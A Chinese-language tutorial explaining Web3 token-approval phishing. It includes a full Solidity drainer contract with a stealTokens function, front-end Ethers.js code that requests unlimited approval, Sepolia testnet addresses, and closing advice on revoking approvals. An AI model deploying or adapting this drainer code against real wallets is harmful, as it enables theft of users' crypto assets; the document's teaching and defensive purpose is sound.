Web3 釣魚攻擊是一種針對區塊鏈用戶的詐騙行為,旨在誘騙用戶授權或轉移他們的加密資產(如代幣、NFT)給攻擊者。與傳統網絡釣魚(如假冒銀行網站竊取密碼)類似,Web3 釣魚利用用戶的信任或疏忽,但目標是區塊鏈錢包和智能合約交互。這種攻擊也叫區塊鏈釣魚攻擊(Blockchain Phishing Attack)或智能合約釣魚(Smart Contract Phishing)
攻擊原理與釣魚行為
區塊鏈釣魚攻擊,運作方式如下:
部署合約:
- 攻擊者部署
Phishing
合約,並指定一個目標 ERC20 代幣的合約地址(例如 USDT)。 - 部署後,攻擊者的地址被記錄為
owner
。
制做釣魚網站:
- 制做一個專業設計的頁面, 可以調用目標代幣合約的
approve
函數,並授權Phishing
合約從他們的帳戶轉移代幣。 - 頁面誘導用戶點擊觸發授權按鈕。
誘騙受害者授權:
- 攻擊者通過釣魚網站、假應用或其他詐騙手段,誘騙受害者點擊觸發按鈕,並同意各種授權
- 例如,受害者可能在一個假的 DeFi 網站上點擊「授權」,實際上是授權釣魚合約可取走大量代幣。
竊取代幣:
- 一旦受害者授權了足夠的代幣,攻擊者(
owner
)可以隨時調用stealTokens
函數,指定受害者的地址和要竊取的代幣數量。 - 合約會檢查:
- 調用者是否為
owner
。 - 受害者是否已授權足夠的代幣(通過
allowance
)。 - 代幣轉移是否成功(通過
transferFrom
)。
- 調用者是否為
- 如果條件都滿足,代幣會從受害者的帳戶轉到攻擊者的地址。
攻擊合約
這段程式碼定義了一個名為 Phishing
的智能合約,基於以太坊區塊鏈,使用 Solidity 語言編寫。它的目的是模擬一個惡意行為:從受害者的帳戶中竊取 ERC20 代幣。以下是合約的主要功能和結構:
- 合約名稱:
Phishing
- 目的:通過
stealTokens
函數,從受害者的帳戶中轉移 ERC20 代幣到合約擁有者的地址。 - 使用的標準:依賴 OpenZeppelin 的 ERC20 合約接口,處理標準的 ERC20 代幣(如 USDT、DAI 等)。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Phishing {
address public owner;
IERC20 public token;
constructor(address _tokenAddress) {
owner = msg.sender;
token = IERC20(_tokenAddress);
}
function stealTokens(address victim, uint256 amount) external {
require(msg.sender == owner, "Only owner can steal tokens");
require(token.allowance(victim, address(this)) >= amount, "Not enough allowance");
require(token.transferFrom(victim, owner, amount), "Transfer failed");
}
}
程式碼逐行解析如下
合約頭部
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
SPDX-License-Identifier: MIT
:這是程式碼的許可證聲明,表示該合約使用 MIT 許可證,允許他人自由使用和修改程式碼。pragma solidity ^0.8.25;
:指定合約使用的 Solidity 編譯器版本為 0.8.25 或以上(但小於 0.9.0),確保合約在兼容的編譯器上運行。import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
:導入 OpenZeppelin 的 ERC20 合約接口,允許這份合約與任何符合 ERC20 標準的代幣交互。ERC20 是一個廣泛使用的代幣標準,定義了代幣的轉移、餘額查詢、授權等功能。
狀態變量
address public owner;
IERC20 public token;
address public owner;
:定義了一個公開的地址變量owner
,用來儲存合約創建者的地址(即部署合約的人,通常是攻擊者)。IERC20 public token;
:定義了一個公開的 ERC20 代幣接口變量token
,用來與特定的 ERC20 代幣合約交互。IERC20
是 OpenZeppelin 提供的接口,包含了標準的 ERC20 方法(如transferFrom
、allowance
等)。
建構函數
constructor(address _tokenAddress) {
owner = msg.sender;
token = IERC20(_tokenAddress);
}
constructor(address _tokenAddress)
:這是合約的建構函數,在部署合約時執行一次。owner = msg.sender;
:將部署合約的帳戶地址(msg.sender
)設為owner
,確保只有這個地址可以調用某些受限功能。token = IERC20(_tokenAddress);
:將傳入的_tokenAddress
(某個 ERC20 代幣合約的地址)轉換為IERC20
接口,允許合約與該代幣交互。例如,_tokenAddress
可能是 USDT 或 DAI 的合約地址。
竊取代幣函數
function stealTokens(address victim, uint256 amount) external {
require(msg.sender == owner, "Only owner can steal tokens");
require(token.allowance(victim, address(this)) >= amount, "Not enough allowance");
require(token.transferFrom(victim, owner, amount), "Transfer failed");
}
function stealTokens(address victim, uint256 amount) external
:這是合約的核心功能,允許合約擁有者從指定的victim
地址竊取指定數量(amount
)的 ERC20 代幣。external
:表示該函數只能從合約外部調用(例如通過交易或另一個合約)。address victim
:受害者的地址,代幣將從這個地址轉出。uint256 amount
:要轉移的代幣數量。
require(msg.sender == owner, "Only owner can steal tokens");
:檢查調用者是否為合約的owner
。只有部署合約的人(即owner
)可以執行這個函數,防止其他人濫用。require(token.allowance(victim, address(this)) >= amount, "Not enough allowance");
:檢查受害者是否已經授權(approve
)給這份合約足夠的代幣數量。ERC20 代幣有一個allowance
機制,允許帳戶 A 授權帳戶 B(這裡是合約地址)從 A 的帳戶中轉移一定數量的代幣。require(token.transferFrom(victim, owner, amount), "Transfer failed");
:調用 ERC20 代幣的transferFrom
函數,從受害者的地址轉移amount
數量的代幣到owner
地址。如果轉移失敗(例如餘額不足),交易會回滾並顯示錯誤訊息"Transfer failed"
。
釣魚前端html
模擬區塊鏈釣魚攻擊的前端頁面,與之前的 Phishing
智能合約搭配使用。這個頁面設計目的是誘騙用戶授權 ERC20 代幣(在這裡是模擬的 USDT
代幣),讓攻擊者可以竊取代幣。
整體功能概述
範例 https://raymond0820.github.io/test/fishdemobygemini2.html
這段 HTML 程式碼創建了一個簡單的網頁,模擬一個惡意網站的界面,誘導用戶點擊按鈕來授權代幣給 Phishing
合約。核心邏輯如下:
- 頁面結構:一個簡單的 HTML 頁面,包含警告文字、按鈕和提示用戶檢查瀏覽器控制台的說明。
- 樣式:使用 CSS 打造乾淨且吸引人的界面,模擬真實釣魚網站的專業外觀。
- JavaScript 邏輯:使用 Ethers.js 庫與以太坊區塊鏈交互,通過 MetaMask 錢包讓用戶授權代幣給惡意合約。
- 攻擊模擬:當用戶點擊按鈕時,頁面會觸發一個交易,請求用戶對
Phishing
合約進行無限量代幣授權(approve
)。
JavaScript 邏輯解析
JavaScript 使用 Ethers.js 庫(v6)與以太坊區塊鏈交互,模擬釣魚網站誘騙用戶授權代幣的過程。以下逐段解釋:
引入 Ethers.js
<script src="https://unpkg.com/ethers@6/dist/ethers.umd.min.js"></script>
- 從 CDN 載入 Ethers.js v6,這是一個用於與以太坊區塊鏈交互的 JavaScript 庫,支援與錢包(如 MetaMask)和智能合約的交互。
合約地址與 ABI
const PHISHING_CONTRACT_ADDRESS = "0x5f1caa852a7232336406daf6b13b7f0ee56ace42";
const MUSDT_CONTRACT_ADDRESS = "0xbd7ba6764f2b0a5cf4e3e1f74a0e925e4dd05e4b";
const musdtABI = [
{
"inputs": [
{ "internalType": "address", "name": "spender", "type": "address" },
{ "internalType": "uint256", "name": "amount", "type": "uint256" }
],
"name": "approve",
"outputs": [{ "internalType": "bool", "name": "", "type": "bool" }],
"stateMutability": "nonpayable",
"type": "function"
}
];
PHISHING_CONTRACT_ADDRESS
:假設的Phishing
合約地址(與你提供的 Solidity 合約對應)。這是惡意合約的地址,用於接收用戶的代幣授權。假如剛剛佈署後得到攻擊合約地址為0x5f1caa852a7232336406daf6b13b7f0ee56ace42MUSDT_CONTRACT_ADDRESS
:模擬USDT代幣合約地址。musdtABI
:定義了mUSDT
代幣合約的 ABI(Application Binary Interface),僅包含approve
函數的接口。ABI 是與智能合約交互的必要信息,告訴 Ethers.js 如何調用合約的函數。approve(address spender, uint256 amount)
:允許spender
(這裡是Phishing
合約)從用戶帳戶轉移指定數量(amount
)的代幣。- 補充說明:approve 函數來自
MUSDT_CONTRACT_ADDRESS
指定的合約,而非 之前Phishing 合約:- 前端程式碼(JavaScript)通過 Ethers.js 與一個名為 mUSDT 的 ERC20 代幣合約交互(地址為 MUSDT_CONTRACT_ADDRESS)。
- approve 函數是 ERC20 標準的一部分,幾乎所有的 ERC20 代幣合約(例如 USDT、DAI 或你模擬的 mUSDT)都實現了這個函數。
- Phishing 合約只需要與 ERC20 代幣合約交互(通過 IERC20 接口),並不需要自己實現 approve。
- 補充說明:approve 函數來自
設置 Web3 環境
async function setupWeb3() {
if (typeof window.ethereum !== 'undefined') {
try {
await window.ethereum.request({ method: 'eth_requestAccounts' });
const provider = new ethers.BrowserProvider(window.ethereum);
const signer = await provider.getSigner();
return { provider, signer };
} catch (error) {
console.error("Failed to connect to wallet:", error);
alert("Wallet connection failed. Please check MetaMask or browser settings.");
return null;
}
} else {
alert("Please install MetaMask wallet!");
return null;
}
}
setupWeb3
:這個函數負責初始化與區塊鏈的連接。window.ethereum
:檢查瀏覽器是否安裝了 MetaMask(或其他相容的以太坊錢包)。eth_requestAccounts
:請求用戶授權,允許網頁訪問其錢包帳戶。這會彈出 MetaMask 的「連接到網站」提示。ethers.BrowserProvider
:創建一個 Ethers.js 提供者,連接到 MetaMask 的以太坊節點。provider.getSigner
:獲取用戶的簽名者對象,用於簽署交易(例如approve
)。- 錯誤處理:如果未安裝 MetaMask 或用戶拒絕連接,顯示錯誤訊息並返回
null
。
模擬釣魚攻擊
async function executePhishingAttack() {
const web3 = await setupWeb3();
if (!web3) return;
try {
const { signer } = web3;
const musdtContract = new ethers.Contract(MUSDT_CONTRACT_ADDRESS, musdtABI, signer);
const amountToApprove = ethers.MaxUint256;
console.log("Requesting approval... Please confirm in your wallet!");
const approveTx = await musdtContract.approve(PHISHING_CONTRACT_ADDRESS, amountToApprove);
console.log("Approval transaction sent, awaiting confirmation...");
await approveTx.wait();
console.log("Approval successful!");
console.log("Approval successful! The attacker can now transfer your assets from the backend.");
} catch (error) {
console.error("An error occurred", error);
alert("Phishing operation failed. Please check the console.");
}
}
executePhishingAttack
:模擬釣魚網站的核心邏輯,誘騙用戶授權代幣。new ethers.Contract
:創建一個指向mUSDT
代幣合約的對象,使用指定的地址和 ABI,並綁定用戶的簽名者(signer
)。ethers.MaxUint256
:設置授權數量為最大值(2^256-1
),這是釣魚攻擊的常見手法,允許攻擊者轉走用戶帳戶中的所有代幣。musdtContract.approve
:調用mUSDT
合約的approve
函數,授權Phishing
合約(PHISHING_CONTRACT_ADDRESS
)可以轉移用戶的代幣。這會觸發 MetaMask 彈出交易確認窗口。approveTx.wait
:等待交易在區塊鏈上確認,確保授權成功。- 日誌與錯誤處理:在控制台輸出操作進度(如「正在請求授權…」),並在失敗時顯示錯誤訊息。
按鈕事件綁定
document.getElementById('phishingButton').addEventListener('click', executePhishingAttack);
- 將
executePhishingAttack
函數綁定到按鈕(id="phishingButton"
)的點擊事件。當用戶點擊「啟動釣魚攻擊 (DEMO)」按鈕時,觸發釣魚邏輯。
取得受害者授權
當使用者訪問釣魚前端html並按下啟動釣魚攻擊 ,錢包就會出現訊息要求你同意,一但同意後,前端 JavaScript會得到受害者的授權 (Approval),惡意合約就可以操控使用者的錢包,過程如下:
- 前端程式碼會引導受害者發送一筆
approve
交易。 - 這筆交易的目的是讓受害者的錢包授權給惡意合約(
Phishing
),允許它轉走受害者錢包裡的 USDT 代幣。 - 這個授權動作是整個流程中唯一需要受害者親自簽名並確認的步驟。
授權
受害者授權給惡意合約,這就是整個釣魚攻擊中最關鍵、也最致命的一步。
授權(approve
)這個動作,就像是受害者親手交出了一把金庫鑰匙給攻擊者。只要這把鑰匙交出去了,攻擊者就可以在任何時候,隨心所欲地從金庫裡拿走資產。
從這個角度來看,釣魚攻擊並不是在「破解」區塊鏈的技術,而是在利用區塊鏈的正規功能。攻擊者並不是在駭客入侵你的錢包,他們只是在誘騙你,讓你自願地給予他們轉走你資產的權利。
授權的有效性取決於你授權時給予的金額
- 單次授權:如果你授權的金額是
1000
個 mUSDT,那麼惡意合約(或任何獲得授權的地址)最多只能從你錢包轉走1000
個 mUSDT。當這 1000 個代幣被轉走後,授權額度就會用完,除非你再次授權,否則攻擊者無法轉走更多。 - 無限授權:這就是為什麼釣魚攻擊者通常會使用一個極大的數字來請求授權,例如我們在範例中使用的
ethers.constants.MaxUint256
。這個數字代表2^256-1
,是uint256
數據類型的最大值。在實際操作中,這相當於給予無限的授權。一旦你簽署了這筆交易,惡意合約就可以在任何時候、無限次地從你錢包中轉走該代幣,直到你的錢包餘額歸零。
攻擊者收割
攻擊者要自己呼叫攻擊合約裡的 stealTokens
- 這是流程中最關鍵的環節。在現實世界中,這個動作由攻擊者的後台伺服器或腳本自動完成。
- 攻擊者會使用自己的錢包來發起這筆交易,呼叫
stealTokens
函數。 - 攻擊合約中的
require(msg.sender == owner, ...)
檢查的就是這個步驟:它確保只有合約的部署者(也就是攻擊者 )才能執行這個後門操作。
指定代幣金額與受害者地址
- 在呼叫
stealTokens
時,攻擊者會傳入兩個參數:受害者的地址 (victim
) 和他們想要竊取的金額 (amount
)。 - 這個金額不能超過受害者給予的授權額度。由於你的前端程式碼使用了
ethers.MaxUint256
進行無限授權,攻擊者可以一次轉走所有代幣。
攻擊合約就會從受害者的錢包拿到代幣
- 這是流程的最後一步。惡意合約在成功執行
stealTokens
函數後,會調用 ERC-20 代幣的transferFrom
函數。 transferFrom
的功能就是:從「被授權者」的錢包中,轉走「授權者」的代幣。- 由於惡意合約已經在剛剛獲得了授權,它現在有權利從受害者的錢包中,將代幣轉移到攻擊者的錢包中。
查詢授權的方法
要檢查你的錢包帳號對哪些合約有授權,可以使用一些專門的區塊鏈工具,它們能清晰地顯示你的授權狀況。
- Revoke.cash:這是一個專門用於檢查和撤銷授權的知名工具。你只需要連接你的錢包,它就會自動掃描你對所有代幣的授權,並列出詳細清單。
- DeBank:DeBank 是一個 DeFi 資產管理平台,它也內建了授權檢查功能。它會將你的資產和授權狀況一併呈現。
Revoke.cash範例
- 錢包地址:0xc697F3ddC8157Fe176e6c7FC8AEf1ad43EC465ee
- 區塊鏈:Sepolia 測試網代號 11155111
- 查詢網址:https://revoke.cash/zh/address/0xc697F3ddC8157Fe176e6c7FC8AEf1ad43EC465ee?chainId=11155111